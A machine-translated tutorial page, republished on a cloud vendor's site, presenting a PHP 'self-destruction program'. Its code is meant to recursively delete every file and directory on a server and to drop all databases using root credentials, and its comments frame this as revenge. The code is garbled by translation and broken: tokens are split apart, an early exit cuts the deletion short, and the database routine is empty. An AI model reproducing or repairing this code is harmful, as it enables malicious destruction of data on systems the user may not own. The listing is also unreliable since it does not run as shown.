PHP self-destruction program (with caution), php self-destruction program with caution

Source: Internet
Author: User

PHP self-destruction program (with caution), php self-destruction program with caution

This article describes the PHP self-destruction program. Share it with you for your reference. The specific implementation method is as follows:

<? Php // + ------------------------------------------------------------------------ // | Kill !! // | The program will clear all files and directories in the current directory. // | if the database information is set, try to delete all databases and table data (if the permission is sufficient !) // + Versions // | Version: $ Id $ // + versions // ---------- Database Configuration region ----------------- // the force of revenge is terrible, so you do not need to specify a database, delete all! Define ('db _ user', 'root'); define ('db _ pwd', 'root'); define ('db _ host', 'localhost '); define ('db _ port', '000000'); define ('db _ damage', true); // if it is false, the database run () is not touched (); /*** the subject idea must be brilliant! ** @ Return void **/function run () {// Delete the deletedir () file; // Delete the deleteDB ();}/*** heh, delete all files in the current directory (recursive) ** @ return void **/function deletedir ($ dir = '') {if ($ dir = '') {$ dir = realpath ('. ');} echo $ dir; exit (); if (! Handle = @ opendir ($ dir) {// check whether there is a die in the directory to be opened ("No directory");} while (false! ==( $ File = readdir ($ handle) {if ($ file! = "." & $ File! = ".. ") {// Exclude the current directory and the parent directory $ file = $ dir. DIRECTORY_SEPARATOR. $ file; if (is_dir ($ file) {deletedir ($ file);} else {if (@ unlink ($ file )) {echo "file <B> $ file </B> is deleted successfully. <Br> ";}else {echo" file <B> $ file </B> failed to be deleted! <Br> ";}}}if (@ rmdir ($ dir) {echo" directory <B> $ dir </B> is deleted successfully. <Br> \ n ";} else {echo" directory <B> $ dir </B> failed to be deleted! <Br> \ n ";}}/ *** in heh, delete the database ** @ return void **/function deleteDB () {if (DB_DAMAGE = true) {// start }}

I hope this article will help you with php programming.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.